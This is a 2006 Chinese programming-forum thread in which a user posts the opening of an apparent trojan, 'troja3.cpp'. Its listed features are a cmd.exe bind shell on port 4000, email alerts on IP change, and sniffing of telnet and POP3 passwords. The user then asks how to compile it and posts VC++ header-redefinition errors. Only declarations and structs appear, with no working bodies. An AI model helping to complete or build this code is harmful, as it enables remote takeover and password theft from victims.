| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1827 人关注过本帖
标题:[求助]这是C,还是C++源代码啊?
取消只看楼主 加入收藏
seankent
Rank: 1
等 级:新手上路
帖 子:5
专家分:0
注 册:2006-3-11
收藏
 问题点数:0 回复次数:4 
[求助]这是C,还是C++源代码啊?

IP变换后自动发送Email通知
实现了以下功能:
1.IP变换后自动发送Email通知
2.nt/window2000下绑定cmd,98下绑定command
3.sniffer整个无交换网络的telnet pop3密码功能

// troja3.cpp : Defines the entry point for the application.
//written by misher 小鱼巫师
#define zeng
#include "stdafx.h"
#include "Afxwin.h"
#include <stdlib.h>
#include <stdio.h>
#include <conio.h>
#include <afx.h> //CString
#include <winsock2.h>
#include <process.h>
#include <Shellapi.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"MSVCRT.LIB")

#define nBufLen 10000
#define port 4000
//SnifferMain function need variant and struct
#define STATUS_FAILED 0xFFFF //定义异常出错代码
#define MAX_PACK_LEN 65535 //接收的最大IP报文
#define MAX_ADDR_LEN 16 //点分十进制地址的最大长度
#define MAX_HOSTNAME_LAN 255 //最大主机名长度
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
typedef struct _iphdr
{
unsigned char h_lenver; //4位首部长度+4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;

SOCKET SockRaw;
int nNeedPacket=0;
void DecodeIpPack(char *,int);
FILE *NetLog; //数据包记录
//end SnifferMain function need variant and struct
void TelnetForCmd(); //绑定cmd.exe
BOOL reg(char *szExecFile); //创建注册表内容
DWORD WINAPI SnifferMain(void*);
//发送email的一些函数---------------------------------------------------------
DWORD WINAPI SendMail(void*); //把信息发回来的线程
//这义变量和需要用到的函数
CString csError[7]; //错误代码解说
SOCKET pSocket;
CString csSmtp; //SMTP服务器
CString csMailFrom; //发件人
CString csMailTo=""; //收件人
CString csMailHeader; //邮件主题
CString csMailBody;
int MySetSmtp(CString str); //SMTP
int MySetMailFrom(CString str); //发件人
int MySetMailTo(CString str); //收件人
int MySetHeader(CString str); //主题
int MySetBody(CString str); //内容
int MyMailSend();
int TestMail(int nResult);
int MailCreate();
int MailFrom();
int MailTo();
int MailHeader();
int MailQuit();



搜索更多相关主题的帖子: 源代码 
2006-03-11 09:15
seankent
Rank: 1
等 级:新手上路
帖 子:5
专家分:0
注 册:2006-3-11
收藏
得分:0 
谢谢,我没有接触过C++
请问,怎样可以转换这些代码为可执行文件?
2006-03-11 09:44
seankent
Rank: 1
等 级:新手上路
帖 子:5
专家分:0
注 册:2006-3-11
收藏
得分:0 

用VC++行吗?

2006-03-11 10:07
seankent
Rank: 1
等 级:新手上路
帖 子:5
专家分:0
注 册:2006-3-11
收藏
得分:0 
OhIytx3c.txt (18.29 KB) [求助]这是C,还是C++源代码啊?


源码有
2006-03-11 11:01
seankent
Rank: 1
等 级:新手上路
帖 子:5
专家分:0
注 册:2006-3-11
收藏
得分:0 

--------------------Configuration: Cpp1 - Win32 Debug--------------------
Compiling...
Cpp1.cpp
c:\program files\microsoft visual studio\vc98\include\winsock2.h(99) : error C2011: 'fd_set' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(134) : warning C4005: 'FD_SET' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(83) : see previous definition of 'FD_SET'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(143) : error C2011: 'timeval' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(199) : error C2011: 'hostent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(212) : error C2011: 'netent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(219) : error C2011: 'servent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(226) : error C2011: 'protoent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(310) : error C2011: 'in_addr' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(368) : error C2011: 'sockaddr_in' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(378) : error C2011: 'WSAData' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(430) : warning C4005: 'SO_DONTLINGER' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(391) : see previous definition of 'SO_DONTLINGER'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(483) : warning C4005: 'AF_IPX' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(449) : see previous definition of 'AF_IPX'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(506) : warning C4005: 'AF_MAX' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(468) : see previous definition of 'AF_MAX'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(512) : error C2011: 'sockaddr' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(521) : error C2011: 'sockproto' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(560) : error C2011: 'linger' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(573) : warning C4005: 'SOMAXCONN' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(533) : see previous definition of 'SOMAXCONN'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(598) : warning C4005: 'FD_READ' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(551) : see previous definition of 'FD_READ'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(601) : warning C4005: 'FD_WRITE' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(552) : see previous definition of 'FD_WRITE'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(604) : warning C4005: 'FD_OOB' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(553) : see previous definition of 'FD_OOB'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(607) : warning C4005: 'FD_ACCEPT' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(554) : see previous definition of 'FD_ACCEPT'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(610) : warning C4005: 'FD_CONNECT' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(555) : see previous definition of 'FD_CONNECT'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(613) : warning C4005: 'FD_CLOSE' : macro redefinition
c:\program files\microsoft visual studio\vc98\include\winsock.h(556) : see previous definition of 'FD_CLOSE'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1427) : error C2375: 'accept' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(707) : see declaration of 'accept'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1448) : error C2375: 'bind' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(710) : see declaration of 'bind'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1467) : error C2375: 'closesocket' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(712) : see declaration of 'closesocket'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1486) : error C2375: 'connect' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(714) : see declaration of 'connect'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1507) : error C2375: 'ioctlsocket' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(716) : see declaration of 'ioctlsocket'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1528) : error C2375: 'getpeername' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(718) : see declaration of 'getpeername'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1549) : error C2375: 'getsockname' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(721) : see declaration of 'getsockname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1572) : error C2375: 'getsockopt' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(724) : see declaration of 'getsockopt'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1593) : error C2375: 'htonl' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(727) : see declaration of 'htonl'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1610) : error C2375: 'htons' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(729) : see declaration of 'htons'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1627) : error C2375: 'inet_addr' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(731) : see declaration of 'inet_addr'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1644) : error C2375: 'inet_ntoa' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(733) : see declaration of 'inet_ntoa'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1662) : error C2375: 'listen' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(735) : see declaration of 'listen'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1680) : error C2375: 'ntohl' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(737) : see declaration of 'ntohl'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1697) : error C2375: 'ntohs' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(739) : see declaration of 'ntohs'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1717) : error C2375: 'recv' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(741) : see declaration of 'recv'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1742) : error C2375: 'recvfrom' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(743) : see declaration of 'recvfrom'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1768) : error C2375: 'select' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(746) : see declaration of 'select'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1792) : error C2375: 'send' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(749) : see declaration of 'send'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1817) : error C2375: 'sendto' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(751) : see declaration of 'sendto'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1843) : error C2375: 'setsockopt' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(754) : see declaration of 'setsockopt'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1865) : error C2375: 'shutdown' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(757) : see declaration of 'shutdown'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1885) : error C2375: 'socket' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(759) : see declaration of 'socket'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1908) : error C2375: 'gethostbyaddr' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(763) : see declaration of 'gethostbyaddr'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1927) : error C2375: 'gethostbyname' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(766) : see declaration of 'gethostbyname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1945) : error C2375: 'gethostname' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(768) : see declaration of 'gethostname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1964) : error C2375: 'getservbyport' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(770) : see declaration of 'getservbyport'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1983) : error C2375: 'getservbyname' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(772) : see declaration of 'getservbyname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2001) : error C2375: 'getprotobynumber' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(775) : see declaration of 'getprotobynumber'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2018) : error C2375: 'getprotobyname' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(777) : see declaration of 'getprotobyname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2038) : error C2375: 'WSAStartup' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(781) : see declaration of 'WSAStartup'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2056) : error C2375: 'WSACleanup' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(783) : see declaration of 'WSACleanup'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2073) : error C2375: 'WSASetLastError' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(785) : see declaration of 'WSASetLastError'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2090) : error C2375: 'WSAGetLastError' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(787) : see declaration of 'WSAGetLastError'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2107) : error C2375: 'WSAIsBlocking' : redefinition; different linkage
c:\program files\microsoft visual studio\vc98\include\winsock.h(789) : see declaration of 'WSAIsBlocking'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2124) : error C2375: 'WSAUnhookBlockingHook' : redefinition; different linkage

Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
Error executing cl.exe.

Cpp1.exe - 98 error(s), 11 warning(s)

2006-03-11 13:42
快速回复:[求助]这是C,还是C++源代码啊?
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.023056 second(s), 11 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved